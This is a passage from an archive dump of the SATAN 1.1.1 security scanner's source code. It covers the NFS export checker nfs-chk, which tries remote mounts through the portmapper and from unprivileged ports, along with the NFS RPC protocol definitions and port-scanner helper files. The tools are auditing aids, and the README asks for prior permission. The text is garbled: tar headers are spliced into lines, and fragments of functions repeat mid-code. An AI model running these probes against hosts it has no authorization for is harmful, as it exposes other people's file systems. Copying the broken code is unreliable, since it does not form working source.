  13931. .perrorexit("nfs-chk: socket");
  13932. #ifdef TIRPC
  13933.     ioctl(sock, I_PUSH, "timod");
  13934. #endif
  13935.     if (client = clnttcp_create(addr, program, version, &sock, 0, 0)) {
  13936. .connect(sock, (struct sockaddr *) addr, sizeof(*addr));
  13937. .client->cl_auth = authunix_create("", 0, 0, 1, &nul);
  13938. .return (client);
  13939.     }
  13940.     close(sock);
  13941. #endif
  13942.  
  13943.     debug("Trying to set up UDP client handle\n");
  13944.     addr->sin_port = 0;
  13945.     if (privileged) {
  13946. .sock = reserved_port(SOCK_DGRAM, IPPROTO_UDP);
  13947.     } else {
  13948. .sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  13949.     }
  13950.     if (sock < 0)
  13951. .perrorexit("nfs-chk: socket");
  13952. #ifdef TIRPC
  13953.     ioctl(sock, I_PUSH, "timod");
  13954. #endif
  13955.     if (client = clntudp_create(addr, program, version, timeout, &sock)) {
  13956. .client->cl_auth = authunix_create("", 0, 0, 1, &nul);
  13957. .return (client);
  13958.     }
  13959.     close(sock);
  13960.     return (0);
  13961. }
  13962.  
  13963. /* portmap_mount - mount via portmapper */
  13964.  
  13965. fhstatus *portmap_mount(path, addr)
  13966. char   *path;
  13967. struct sockaddr_in *addr;
  13968. {
  13969.     static fhstatus mount_status;
  13970.     u_long  port;
  13971.  
  13972.     memset((char *) &mount_status, 0, sizeof(mount_status));
  13973.     addr->sin_port = htons(PMAPPORT);
  13974.  
  13975.     if (pmap_rmtcall(addr, MOUNTPROG, MOUNTVERS, MOUNTPROC_MNT,
  13976. ..     xdr_dirpath, &path,
  13977. ..     xdr_fhstatus, &mount_status,
  13978. ..     timeout, &port) == 0) {
  13979. .return (&mount_status);
  13980.     }
  13981.     return (0);
  13982. }
  13983.  
  13984. /* print_attributes - display file modes */
  13985.  
  13986. void    print_attributes(ap, path)
  13987. fattr  *ap;
  13988. char   *path;
  13989. {
  13990.     char   *cp;
  13991.     time_t  seconds;
  13992.  
  13993.     switch (ap->type) {
  13994.     case NFREG:
  13995. .putchar('-');
  13996. .break;
  13997.     case NFDIR:
  13998. .putchar('d');
  13999. .break;
  14000.     default:
  14001. .putchar('?');
  14002. .break;
  14003.     }
  14004.     putchar((ap->mode & 0400) ? 'r' : '-');
  14005.     putchar((ap->mode & 0200) ? 'w' : '-');
  14006.     putchar((ap->mode & 0100) ?
  14007. .    ((ap->mode & 04000) ? 's' : 'x') :
  14008. .    ((ap->mode & 04000) ? 'S' : '-'));
  14009.     putchar((ap->mode & 040) ? 'r' : '-');
  14010.     putchar((ap->mode & 020) ? 'w' : '-');
  14011.     putchar((ap->mode & 010) ?
  14012. .    ((ap->mode & 02000) ? 's' : 'x') :
  14013. .    ((ap->mode & 02000) ? 'S' : '-'));
  14014.     putchar((ap->mode & 04) ? 'r' : '-');
  14015.     putchar((ap->mode & 02) ? 'w' : '-');
  14016.     putchar((ap->mode & 01) ?
  14017. .    ((ap->mode & 01000) ? 't' : 'x') :
  14018. .    ((ap->mode & 01000) ? 'T' : '-'));
  14019.     seconds = ap->ctime.seconds;
  14020.     cp = ctime(&seconds);
  14021.     printf("%3d %8d %5d %9d %-7.7s %-4.4s %s\n",
  14022. .   ap->nlink, ap->uid, ap->gid, ap->size, cp + 4, cp + 20, path);
  14023. }
  14024.  
  14025. /* show_mount_point - display mount point info */
  14026.  
  14027. int     show_mount_point(path, mount_status, client)
  14028. char   *path;
  14029. fhstatus *mount_status;
  14030. CLIENT *client;
  14031. {
  14032.     attrstat *attr_status;
  14033.  
  14034.     if ((attr_status = nfsproc_getattr_2(mount_status->fhstatus_u.fhs_fhandle,
  14035. ..... client)) == 0) {
  14036. .clnt_perror(client, path);
  14037. .return (0);
  14038.     } else if (attr_status->status != NFS_OK) {
  14039. .nfs_perror(attr_status->status, path);
  14040. .return (0);
  14041.     } else {
  14042. .print_attributes(&(attr_status->attrstat_u.attributes), path);
  14043. .return (1);
  14044.     }
  14045. }
  14046.  
  14047. /* examine_filesystem - examine exported file system */
  14048.  
  14049. void    examine_filesystem(h, path, client_info)
  14050. struct hostinfo *h;
  14051. char   *path;
  14052. groups  client_info;
  14053. {
  14054.     fhstatus *mount_status;
  14055.  
  14056.     if (client_info == 0) {
  14057. .printf("Warning: host %s exports %s to the world\n", h->hostname, path);
  14058.     } else {
  14059. .printf("Examining: %s:%s\n", h->hostname, path);
  14060.     }
  14061.  
  14062.     if (portmap) {
  14063. .debug("Trying to mount %s via portmapper\n", path);
  14064. .mount_status = portmap_mount(path, &h->sin);
  14065. .if (mount_status != 0 && mount_status->fhs_status == NFS_OK) {
  14066. .    if (show_mount_point(path, mount_status, h->nfsd_clnt))
  14067. ..printf("Warning: host %s exports %s via portmapper\n",
  14068. ..       h->hostname, path);
  14069. .    debug("Unmounting: %s\n", path);
  14070. .    mountproc_umnt_1(&path, h->mountd_clnt);
  14071. .}
  14072.     }
  14073.     debug("Trying to mount %s via mountd\n", path);
  14074.     mount_status = mountproc_mnt_1(&path, h->mountd_clnt);
  14075.     if (mount_status != 0 && mount_status->fhs_status == NFS_OK) {
  14076. .if (show_mount_point(path, mount_status, h->nfsd_clnt))
  14077. .    printf("Mounted: %s via mount daemon\n", path);
  14078. .debug("Unmounting: %s\n", path);
  14079. .mountproc_umnt_1(&path, h->mountd_clnt);
  14080.  
  14081. .mount_status = mountproc_mnt_1(&path, h->umountd_clnt);
  14082. .if (mount_status != 0 && mount_status->fhs_status == NFS_OK) {
  14083. .    if (show_mount_point(path, mount_status, h->unfsd_clnt))
  14084. ..printf("Warning: host %s exports %s to unprivileged programs\n",
  14085. ..       h->hostname, path);
  14086. .    debug("Unmounting: %s\n", path);
  14087. .    mountproc_umnt_1(&path, h->umountd_clnt);
  14088. .}
  14089.     }
  14090. }
  14091.  
  14092. /* find_host - look up host information */
  14093.  
  14094. void    find_host(h)
  14095. struct hostinfo *h;
  14096. {
  14097.     struct hostent *hp;
  14098.     long    addr;
  14099.  
  14100.     /*
  14101.      * Look up IP address information. XXX with multi-homed hosts, should try
  14102.      * all addresses until we succeed.
  14103.      */
  14104.  
  14105.     memset((char *) &h->sin, 0, sizeof(h->sin));
  14106.     h->sin.sin_family = AF_INET;
  14107.  
  14108.     if ((addr = inet_addr(h->hostname)) != INADDR_NONE) {
  14109. .h->sin.sin_addr.s_addr = addr;
  14110.     } else if ((hp = gethostbyname(h->hostname)) == 0) {
  14111. .fprintf(stderr, "%s: host not found: %s\n", progname, h->hostname);
  14112. .exit(1);
  14113.     } else {
  14114. .memcpy((char *) &h->sin.sin_addr, hp->h_addr, sizeof(h->sin));
  14115.     }
  14116.  
  14117.     /*
  14118.      * Look up mountd and nfsd information.
  14119.      */
  14120.  
  14121.     debug("Setting up mountd clients\n");
  14122.     if ((h->mountd_clnt =
  14123. . make_client(&h->sin, MOUNTPROG, MOUNTVERS, PRIVILEGED_PORT)) == 0)
  14124. .clnt_pcreateerrorexit("privileged mountd client create");
  14125.     if ((h->umountd_clnt =
  14126. . make_client(&h->sin, MOUNTPROG, MOUNTVERS, UNPRIVILEGED_PORT)) == 0)
  14127. .clnt_pcreateerrorexit("unprivileged mountd client create");
  14128.  
  14129.     debug("Setting up nfsd clients\n");
  14130.     if ((h->nfsd_clnt =
  14131.       make_client(&h->sin, NFS_PROGRAM, NFS_VERSION, PRIVILEGED_PORT)) == 0)
  14132. .clnt_pcreateerrorexit("privileged nfsd client create");
  14133.     if ((h->unfsd_clnt =
  14134.     make_client(&h->sin, NFS_PROGRAM, NFS_VERSION, UNPRIVILEGED_PORT)) == 0)
  14135. .clnt_pcreateerrorexit("unprivileged nfsd client create");
  14136. }
  14137.  
  14138. main(argc, argv)
  14139. int     argc;
  14140. char   *argv[];
  14141. {
  14142.     exports exp;
  14143.     exports *exp_list;
  14144.     int     opt;
  14145.     struct hostinfo h;
  14146.  
  14147.     progname = argv[0];
  14148.  
  14149.     /*
  14150.      * Parse JCL.
  14151.      */
  14152.  
  14153.     while ((opt = getopt(argc, argv, "pvt:")) != EOF) {
  14154. .switch (opt) {
  14155. .case 'p':..../* don't try portmap bug */
  14156. .    portmap = 0;
  14157. .    break;
  14158. .case 'v':..../* turn on verbose mode */
  14159. .    verbose = 1;
  14160. .    break;
  14161. .case 't':..../* change timeout */
  14162. .    timeout.tv_sec = atoi(optarg);
  14163. .    break;
  14164. .default:
  14165. .    usage();
  14166. .    /* NOTREACHED */
  14167. .}
  14168.     }
  14169.  
  14170.     if (argc != optind + 1)
  14171. .usage();
  14172.     h.hostname = argv[optind];
  14173.  
  14174.     /*
  14175.      * Look up host information. Only the name is stolen from RJN.
  14176.      */
  14177.  
  14178.     find_host(&h);
  14179.  
  14180.     /*
  14181.      * For each exported file system, report if we can access it. By way of
  14182.      * proof, show an "ls -l" like listing.
  14183.      */
  14184.  
  14185.     debug("Retrieving exports list\n");
  14186.     if ((exp_list = mountproc_export_1(NULL, h.mountd_clnt)) == 0)
  14187. .clnt_perrorexit(h.mountd_clnt, "mount export list");
  14188.     for (exp = *exp_list; exp; exp = exp->ex_next) {
  14189. .examine_filesystem(&h, exp->ex_dir, exp->ex_groups);
  14190.     }
  14191. }
  14192.   }
  14193. }
  14194.  
  14195. /* examine_filesystem - examine exported file system */
  14196.  
  14197. void    examine_filesystem(h, path, client_info)
  14198. struct hostinfo *h;
  14199. char   *path;
  14200. groups  client_info;
  14201. {
  14202.     fhstatus *mount_status;
  14203.  
  14204.     if (client_info == 0) {
  14205. .printf("Warning: host %s exports %s to the world\n", h->hostname, path);
  14206.     } else {
  14207. .printf("Examining: %s:%s\n", h->hsatan-1.1.1/src/nfs-chk/nfs_prot.x..................................................................   400 .   465 .   506 .      17274  5664357622  12104. ...................................................................
  14208. .................................................................................................................................................................................................................................................................
  14209. ................................/*
  14210.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  14211.  * unrestricted use provided that this legend is included on all tape
  14212.  * media and as a part of the software program in whole or part.  Users
  14213.  * may copy or modify Sun RPC without charge, but are not authorized
  14214.  * to license or distribute it to anyone else except as part of a product or
  14215.  * program developed by the user.
  14216.  * 
  14217.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  14218.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  14219.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  14220.  * 
  14221.  * Sun RPC is provided with no support and without any obligation on the
  14222.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  14223.  * modification or enhancement.
  14224.  * 
  14225.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  14226.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  14227.  * OR ANY PART THEREOF.
  14228.  * 
  14229.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  14230.  * or profits or other special, indirect and consequential damages, even if
  14231.  * Sun has been advised of the possibility of such damages.
  14232.  * 
  14233.  * Sun Microsystems, Inc.
  14234.  * 2550 Garcia Avenue
  14235.  * Mountain View, California  94043
  14236.  */
  14237.  
  14238. #ifndef RPC_HDR
  14239. %#ifndef lint
  14240. %/*static char sccsid[] = "from: @(#)nfs_prot.x 1.2 87/10/12 Copyr 1987 Sun Micro";*/
  14241. %/*static char sccsid[] = "from: @(#)nfs_prot.x.2.1 88/08/01 4.0 RPCSRC";*/
  14242. %static char rcsid[] = "$Id: nfs_prot.x,v 1.1 1994/08/04 19:01:47 wollman Exp $";
  14243. %#endif /* not lint */
  14244. #endif
  14245.  
  14246. const NFS_PORT          = 2049;
  14247. const NFS_MAXDATA       = 8192;
  14248. const NFS_MAXPATHLEN    = 1024;
  14249. const NFS_MAXNAMLEN.= 255;
  14250. const NFS_FHSIZE.= 32;
  14251. const NFS_COOKIESIZE.= 4;
  14252. const NFS_FIFO_DEV.= -1;./* size kludge for named pipes */
  14253.  
  14254. /*
  14255.  * File types
  14256.  */
  14257. const NFSMODE_FMT  = 0170000;./* type of file */
  14258. const NFSMODE_DIR  = 0040000;./* directory */
  14259. const NFSMODE_CHR  = 0020000;./* character special */
  14260. const NFSMODE_BLK  = 0060000;./* block special */
  14261. const NFSMODE_REG  = 0100000;./* regular */
  14262. const NFSMODE_LNK  = 0120000;./* symbolic link */
  14263. const NFSMODE_SOCK = 0140000;./* socket */
  14264. const NFSMODE_FIFO = 0010000;./* fifo */
  14265.  
  14266. /*
  14267.  * Error status
  14268.  */
  14269. enum nfsstat {
  14270. .NFS_OK= 0,../* no error */
  14271. .NFSERR_PERM=1,../* Not owner */
  14272. .NFSERR_NOENT=2,../* No such file or directory */
  14273. .NFSERR_IO=5,../* I/O error */
  14274. .NFSERR_NXIO=6,../* No such device or address */
  14275. .NFSERR_ACCES=13,./* Permission denied */
  14276. .NFSERR_EXIST=17,./* File exists */
  14277. .NFSERR_NODEV=19,./* No such device */
  14278. .NFSERR_NOTDIR=20,./* Not a directory*/
  14279. .NFSERR_ISDIR=21,./* Is a directory */
  14280. .NFSERR_FBIG=27,../* File too large */
  14281. .NFSERR_NOSPC=28,./* No space left on device */
  14282. .NFSERR_ROFS=30,../* Read-only file system */
  14283. .NFSERR_NAMETOOLONG=63,./* File name too long */
  14284. .NFSERR_NOTEMPTY=66,./* Directory not empty */
  14285. .NFSERR_DQUOT=69,./* Disc quota exceeded */
  14286. .NFSERR_STALE=70,./* Stale NFS file handle */
  14287. .NFSERR_WFLUSH=99./* write cache flushed */
  14288. };
  14289.  
  14290. /*
  14291.  * File types
  14292.  */
  14293. enum ftype {
  14294. .NFNON = 0,./* non-file */
  14295. .NFREG = 1,./* regular file */
  14296. .NFDIR = 2,./* directory */
  14297. .NFBLK = 3,./* block special */
  14298. .NFCHR = 4,./* character special */
  14299. .NFLNK = 5,./* symbolic link */
  14300. .NFSOCK = 6,./* unix domain sockets */
  14301. .NFBAD = 7,./* unused */
  14302. .NFFIFO = 8 ./* named pipe */
  14303. };
  14304.  
  14305. /*
  14306.  * File access handle
  14307.  */
  14308. struct nfs_fh {
  14309. .opaque data[NFS_FHSIZE];
  14310. };
  14311.  
  14312. /* 
  14313.  * Timeval
  14314.  */
  14315. struct nfstime {
  14316. .unsigned seconds;
  14317. .unsigned useconds;
  14318. };
  14319.  
  14320.  
  14321. /*
  14322.  * File attributes
  14323.  */
  14324. struct fattr {
  14325. .ftype type;../* file type */
  14326. .unsigned mode;../* protection mode bits */
  14327. .unsigned nlink;../* # hard links */
  14328. .unsigned uid;../* owner user id */
  14329. .unsigned gid;../* owner group id */
  14330. .unsigned size;../* file size in bytes */
  14331. .unsigned blocksize;./* prefered block size */
  14332. .unsigned rdev;../* special device # */
  14333. .unsigned blocks;./* Kb of disk used by file */
  14334. .unsigned fsid;../* device # */
  14335. .unsigned fileid;./* inode # */
  14336. .nfstime.atime;../* time of last access */
  14337. .nfstime.mtime;../* time of last modification */
  14338. .nfstime.ctime;../* time of last change */
  14339. };
  14340.  
  14341. /*
  14342.  * File attributes which can be set
  14343.  */
  14344. struct sattr {
  14345. .unsigned mode;./* protection mode bits */
  14346. .unsigned uid;./* owner user id */
  14347. .unsigned gid;./* owner group id */
  14348. .unsigned size;./* file size in bytes */
  14349. .nfstime.atime;./* time of last access */
  14350. .nfstime.mtime;./* time of last modification */
  14351. };
  14352.  
  14353.  
  14354. typedef string filename<NFS_MAXNAMLEN>; 
  14355. typedef string nfspath<NFS_MAXPATHLEN>;
  14356.  
  14357. /*
  14358.  * Reply status with file attributes
  14359.  */
  14360. union attrstat switch (nfsstat status) {
  14361. case NFS_OK:
  14362. .fattr attributes;
  14363. default:
  14364. .void;
  14365. };
  14366.  
  14367. struct sattrargs {
  14368. .nfs_fh file;
  14369. .sattr attributes;
  14370. };
  14371.  
  14372. /*
  14373.  * Arguments for directory operations
  14374.  */
  14375. struct diropargs {
  14376. .nfs_fh.dir;./* directory file handle */
  14377. .filename name;../* name (up to NFS_MAXNAMLEN bytes) */
  14378. };
  14379.  
  14380. struct diropokres {
  14381. .nfs_fh file;
  14382. .fattr attributes;
  14383. };
  14384.  
  14385. /*
  14386.  * Results from directory operation
  14387.  */
  14388. union diropres switch (nfsstat status) {
  14389. case NFS_OK:
  14390. .diropokres diropres;
  14391. default:
  14392. .void;
  14393. };
  14394.  
  14395. union readlinkres switch (nfsstat status) {
  14396. case NFS_OK:
  14397. .nfspath data;
  14398. default:
  14399. .void;
  14400. };
  14401.  
  14402. /*
  14403.  * Arguments to remote read
  14404.  */
  14405. struct readargs {
  14406. .nfs_fh file;../* handle for file */
  14407. .unsigned offset;./* byte offset in file */
  14408. .unsigned count;../* immediate read count */
  14409. .unsigned totalcount;./* total read count (from this offset)*/
  14410. };
  14411.  
  14412. /*
  14413.  * Status OK portion of remote read reply
  14414.  */
  14415. struct readokres {
  14416. .fattr.attributes;./* attributes, need for pagin*/
  14417. .opaque data<NFS_MAXDATA>;
  14418. };
  14419.  
  14420. union readres switch (nfsstat status) {
  14421. case NFS_OK:
  14422. .readokres reply;
  14423. default:
  14424. .void;
  14425. };
  14426.  
  14427. /*
  14428.  * Arguments to remote write 
  14429.  */
  14430. struct writeargs {
  14431. .nfs_fh.file;../* handle for file */
  14432. .unsigned beginoffset;./* beginning byte offset in file */
  14433. .unsigned offset;./* current byte offset in file */
  14434. .unsigned totalcount;./* total write count (to this offset)*/
  14435. .opaque data<NFS_MAXDATA>;
  14436. };
  14437.  
  14438. struct createargs {
  14439. .diropargs where;
  14440. .sattr attributes;
  14441. };
  14442.  
  14443. struct renameargs {
  14444. .diropargs from;
  14445. .diropargs to;
  14446. };
  14447.  
  14448. struct linkargs {
  14449. .nfs_fh from;
  14450. .diropargs to;
  14451. };
  14452.  
  14453. struct symlinkargs {
  14454. .diropargs from;
  14455. .nfspath to;
  14456. .sattr attributes;
  14457. };
  14458.  
  14459.  
  14460. typedef opaque nfscookie[NFS_COOKIESIZE];
  14461.  
  14462. /*
  14463.  * Arguments to readdir
  14464.  */
  14465. struct readdirargs {
  14466. .nfs_fh dir;../* directory handle */
  14467. .nfscookie cookie;
  14468. .unsigned count;../* number of directory bytes to read */
  14469. };
  14470.  
  14471. struct entry {
  14472. .unsigned fileid;
  14473. .filename name;
  14474. .nfscookie cookie;
  14475. .entry *nextentry;
  14476. };
  14477.  
  14478. struct dirlist {
  14479. .entry *entries;
  14480. .bool eof;
  14481. };
  14482.  
  14483. union readdirres switch (nfsstat status) {
  14484. case NFS_OK:
  14485. .dirlist reply;
  14486. default:
  14487. .void;
  14488. };
  14489.  
  14490. struct statfsokres {
  14491. .unsigned tsize;./* preferred transfer size in bytes */
  14492. .unsigned bsize;./* fundamental file system block size */
  14493. .unsigned blocks;./* total blocks in file system */
  14494. .unsigned bfree;./* free blocks in fs */
  14495. .unsigned bavail;./* free blocks avail to non-superuser */
  14496. };
  14497.  
  14498. union statfsres switch (nfsstat status) {
  14499. case NFS_OK:
  14500. .statfsokres reply;
  14501. default:
  14502. .void;
  14503. };
  14504.  
  14505. /*
  14506.  * Remote file service routines
  14507.  */
  14508. program NFS_PROGRAM {
  14509. .version NFS_VERSION {
  14510. ..void 
  14511. ..NFSPROC_NULL(void) = 0;
  14512.  
  14513. ..attrstat 
  14514. ..NFSPROC_GETATTR(nfs_fh) =.1;
  14515.  
  14516. ..attrstat 
  14517. ..NFSPROC_SETATTR(sattrargs) = 2;
  14518.  
  14519. ..void 
  14520. ..NFSPROC_ROOT(void) = 3;
  14521.  
  14522. ..diropres 
  14523. ..NFSPROC_LOOKUP(diropargs) = 4;
  14524.  
  14525. ..readlinkres 
  14526. ..NFSPROC_READLINK(nfs_fh) = 5;
  14527.  
  14528. ..readres 
  14529. ..NFSPROC_READ(readargs) = 6;
  14530.  
  14531. ..void 
  14532. ..NFSPROC_WRITECACHE(void) = 7;
  14533.  
  14534. ..attrstat
  14535. ..NFSPROC_WRITE(writeargs) = 8;
  14536.  
  14537. ..diropres
  14538. ..NFSPROC_CREATE(createargs) = 9;
  14539.  
  14540. ..nfsstat
  14541. ..NFSPROC_REMOVE(diropargs) = 10;
  14542.  
  14543. ..nfsstat
  14544. ..NFSPROC_RENAME(renameargs) = 11;
  14545.  
  14546. ..nfsstat
  14547. ..NFSPROC_LINK(linkargs) = 12;
  14548.  
  14549. ..nfsstat
  14550. ..NFSPROC_SYMLINK(symlinkargs) = 13;
  14551.  
  14552. ..diropres
  14553. ..NFSPROC_MKDIR(createargs) = 14;
  14554.  
  14555. ..nfsstat
  14556. ..NFSPROC_RMDIR(diropargs) = 15;
  14557.  
  14558. ..readdirres
  14559. ..NFSPROC_READDIR(readdirargs) = 16;
  14560.  
  14561. ..statfsres
  14562. ..NFSPROC_STATFS(nfs_fh) = 17;
  14563. .} = 2;
  14564. } = 100003;
  14565.  
  14566. lock size */
  14567. .unsigned rdev;../* special device # */
  14568. .unsigned blocks;./* Kb of disk used by file */
  14569. .unsigned fsid;../* device # */
  14570. .unsigned fileid;./* inode # */
  14571. .nfstime.atime;../* time of last access */
  14572. .nfstime.mtime;../* time of last modification */
  14573. .nfstime.ctime;../* time of last change */
  14574. };
  14575.  
  14576. /*
  14577.  * File attributesatan-1.1.1/src/port_scan/..........................................................................   700 .   465 .   506 .          0  5742521554  10372. ....................................................................................
  14578. .................................................................................................................................................................................................................................................................
  14579. ...............satan-1.1.1/src/port_scan/README....................................................................   600 .   465 .   506 .       1706  5740245272  11343. ......................................................................................
  14580. .................................................................................................................................................................................................................................................................
  14581. .............tcp_scan and udp_scan are tools to scan a host for available network
  14582. services (for example, to see if your packet filter does its job). You
  14583. can scan specific services or ranges of ports.  In order to speed up
  14584. the process, the tools probe a bunch of network ports in parallel.
  14585.  
  14586. The programs work with SunOS 4.1.3, SunOS 5.3 (Solaris 2.3) and
  14587. probably with anything that looks like 4.3+ BSD or System V.4.
  14588.  
  14589. There is one catch, though: the programs use raw ICMP sockets, so they
  14590. need to be run with root privilege. Raw ICMP sockets are used to work
  14591. around common shortcomings in BSD (75-second timeout on a non-blocking
  14592. TCP connect() to an unreachable host) and in SYSV (a connected UDP
  14593. socket does not pass delivery errors back to the application).
  14594.  
  14595. Warning: these programs will raise lots of alarms on sites that run my
  14596. tcp wrapper or that do any other kind of network monitoring.  Use the
  14597. programs only with prior permission from the affected sites.
  14598.  
  14599. .Wietse Venema
  14600. {
  14601. case NFS_OK:
  14602. .nfspath data;
  14603. default:
  14604. .void;
  14605. };
  14606.  
  14607. /*
  14608.  * Arsatan-1.1.1/src/port_scan/error.c...................................................................   600 .   465 .   506 .       4357  5740245156  11766. ................................................................................................
  14609. .................................................................................................................................................................................................................................................................
  14610. ... /*
  14611.   * remark, error, panic - diagnostics handlers
  14612.   * 
  14613.   * Feature: %m is expanded to the system errno text.
  14614.   * 
  14615.   * Author: Wietse Venema.
  14616.   */
  14617.  
  14618. #include <stdio.h>
  14619. #include <errno.h>
  14620.  
  14621. #ifdef __STDC__
  14622. #include <stdarg.h>
  14623. #define VARARGS(func,type,arg) func(type arg, ...)
  14624. #define VASTART(ap,type,name)  va_start(ap,name)
  14625. #define VAEND(ap)              va_end(ap)
  14626. #else
  14627. #include <varargs.h>
  14628. #define VARARGS(func,type,arg) func(va_alist) va_dcl
  14629. #define VASTART(ap,type,name)  {type name; va_start(ap); name = va_arg(ap, type)
  14630. #define VAEND(ap)              va_end(ap);}
  14631. #endif
  14632.  
  14633. char   *progname = "unknown";
  14634.  
  14635. extern int errno;
  14636. extern char *strerror();
  14637. extern char *strcpy();
  14638.  
  14639. #include "lib.h"
  14640.  
  14641. /* percentm - replace %m by error message associated with value in err */
  14642.  
  14643. char   *percentm(buf, str, err)
  14644. char   *buf;
  14645. char   *str;
  14646. int     err;
  14647. {
  14648.     char   *ip = str;
  14649.     char   *op = buf;
  14650.  
  14651.     while (*ip) {
  14652. .switch (*ip) {
  14653. .case '%':
  14654. .    switch (ip[1]) {
  14655. .    case '\0':..../* don't fall off end */
  14656. ..*op++ = *ip++;
  14657. ..break;
  14658. .    case 'm':..../* replace %m */
  14659. ..strcpy(op, strerror(err));
  14660. ..op += strlen(op);
  14661. ..ip += 2;
  14662. ..break;
  14663. .    default:..../* leave %<any> alone */
  14664. ..*op++ = *ip++, *op++ = *ip++;
  14665. ..break;
  14666. .    }
  14667. .default:
  14668. .    *op++ = *ip++;
  14669. .}
  14670.     }
  14671.     *op = 0;
  14672.     return (buf);
  14673. }
  14674.  
  14675. /* error - print warning on stderr and terminate */
  14676.  
  14677. void    VARARGS(error, char *, fmt)
  14678. {
  14679.     va_list ap;
  14680.     int     err = errno;
  14681.     char    buf[BUFSIZ];
  14682.  
  14683.     VASTART(ap, char *, fmt);
  14684.     fprintf(stderr, "%s: ", progname);
  14685.     vfprintf(stderr, percentm(buf, fmt, err), ap);
  14686.     fprintf(stderr, "\n");
  14687.     VAEND(ap);
  14688.     exit(1);
  14689. }
  14690.  
  14691. /* remark - print warning on stderr and continue */
  14692.  
  14693. void    VARARGS(remark, char *, fmt)
  14694. {
  14695.     va_list ap;
  14696.     int     err = errno;
  14697.     char    buf[BUFSIZ];
  14698.  
  14699.     VASTART(ap, char *, fmt);
  14700.     fprintf(stderr, "%s: ", progname);
  14701.     vfprintf(stderr, percentm(buf, fmt, err), ap);
  14702.     fprintf(stderr, "\n");
  14703.     VAEND(ap);
  14704. }
  14705.  
  14706. /* panic - print warning on stderr and dump core */
  14707.  
  14708. void    VARARGS(panic, char *, fmt)
  14709. {
  14710.     va_list ap;
  14711.     int     err = errno;
  14712.     char    buf[BUFSIZ];
  14713.  
  14714.     VASTART(ap, char *, fmt);
  14715.     fprintf(stderr, "%s: ", progname);
  14716.     vfprintf(stderr, percentm(buf, fmt, err), ap);
  14717.     fprintf(stderr, "\n");
  14718.     VAEND(ap);
  14719.     abort();
  14720. }
  14721. h value in err */
  14722.  
  14723. char   *percentm(buf, str, err)
  14724. char   *buf;
  14725. char   *str;
  14726. int     err;
  14727. {
  14728.     char   *ip = str;
  14729.     char   *op = buf;
  14730.  
  14731.     while (*ip) {
  14732. .switch (*ip) {
  14733. .case '%':
  14734. .    switch (ip[1]) {
  14735. .    case '\0':..../* don't fall off end */
  14736. ..*op++ = *ip++;
  14737. ..break;satan-1.1.1/src/port_scan/find_addr.c...............................................................   600 .   465 .   506 .       2165  5740245164  12541. .............................................................................................
  14738. .................................................................................................................................................................................................................................................................
  14739. ...... /*
  14740.   * find_addr, find_port - map internet hosts and services to internal form
  14741.   * 
  14742.   * Author: Wietse Venema.
  14743.   */
  14744.  
  14745. #include <sys/types.h>
  14746. #include <sys/socket.h>
  14747. #include <netinet/in.h>
  14748. #include <arpa/inet.h>
  14749. #include <netdb.h>
  14750.  
  14751. #include "lib.h"
  14752.  
  14753. /* find_addr - translate numerical or symbolic host name */
  14754.  
  14755. struct in_addr find_addr(host)
  14756. char   *host;
  14757. {
  14758.     struct in_addr addr;
  14759.     struct hostent *hp;
  14760.  
  14761.     addr.s_addr = inet_addr(host);
  14762.     if ((addr.s_addr == -1) || (addr.s_addr == 0)) {
  14763. .if ((hp = gethostbyname(host)) == 0)
  14764. .    error("%s: host not found", host);
  14765. .if (hp->h_addrtype != AF_INET)
  14766. .    error("unexpected address family: %d", hp->h_addrtype);
  14767. .memcpy((char *) &addr, hp->h_addr, hp->h_length);
  14768.     }
  14769.     return (addr);
  14770. }
  14771.  
  14772. /* find_port - translate numerical or symbolic service name */
  14773.  
  14774. int     find_port(service, protocol)
  14775. char   *service;
  14776. char   *protocol;
  14777. {
  14778.     struct servent *sp;
  14779.     int     port;
  14780.  
  14781.     if ((port = atoi(service)) != 0) {
  14782. .return (htons(port));
  14783.     } else {
  14784. .if ((sp = getservbyname(service, protocol)) == 0)
  14785. .    error("%s/%s: unknown service", service, protocol);
  14786. .return (sp->s_port);
  14787.     }
  14788. }
  14789.  
  14790. :..../* leave %<any> alone */
  14791. ..*op++ = *ip++, *op++ = *ip++;
  14792. ..break;
  14793. .    }
  14794. .default:
  14795. .    *op++ = *ip++;
  14796. .}
  14797.     }
  14798.     *op = 0;
  14799.     return (buf);
  14800. }
  14801.  
  14802. /* error - print warning on stderr and terminate */
  14803.  
  14804. void    VARARGS(error, char *, fmt)
  14805. {
  14806.     va_list ap;
  14807.     int     err = errno;
  14808.     char    buf[BUFSIZ];
  14809.  
  14810.     VASTART(ap, char *, fmt);
  14811.     fprintf(stderr, "%s: ", progname);
  14812.     vfprintf(stdesatan-1.1.1/src/port_scan/lib.h.....................................................................   600 .   465 .   506 .       1477  5720110066  11375. ....................................................................................
  14813. .................................................................................................................................................................................................................................................................
  14814. ...............#ifdef __STDC__
  14815. #define ARGS(x) x
  14816. #else
  14817. #define ARGS(x) ()
  14818. #endif
  14819.  
  14820. /* mallocs.c */
  14821. extern char *mymalloc();
  14822. extern char *myrealloc();
  14823. extern char *dupstr();
  14824.  
  14825. /* find_addr.c */
  14826. extern struct in_addr find_addr();
  14827. extern int find_port();
  14828.  
  14829. /* error.c */
  14830. extern void remark ARGS((char *,...));
  14831. extern void error ARGS((char *,...));
  14832. extern void panic ARGS((char *,...));
  14833. extern char *progname;
  14834.  
  14835. /* print_data.c */
  14836. extern void print_data();
  14837.  
  14838. /* ring.c */
  14839. typedef struct RING {
  14840.     struct RING *succ;                 /* successor */
  14841.     struct RING *pred;                 /* predecessor */
  14842. } RING;
  14843. extern void ring_init ARGS((RING *));
  14844. extern void ring_prepend ARGS((RING *, RING *));
  14845. extern void ring_append ARGS((RING *, RING *));
  14846. extern void ring_detach ARGS((RING *));
  14847. #define ring_succ(c) ((c)->succ)
  14848. #define ring_pred(c) ((c)->pred)
  14849. ,...));
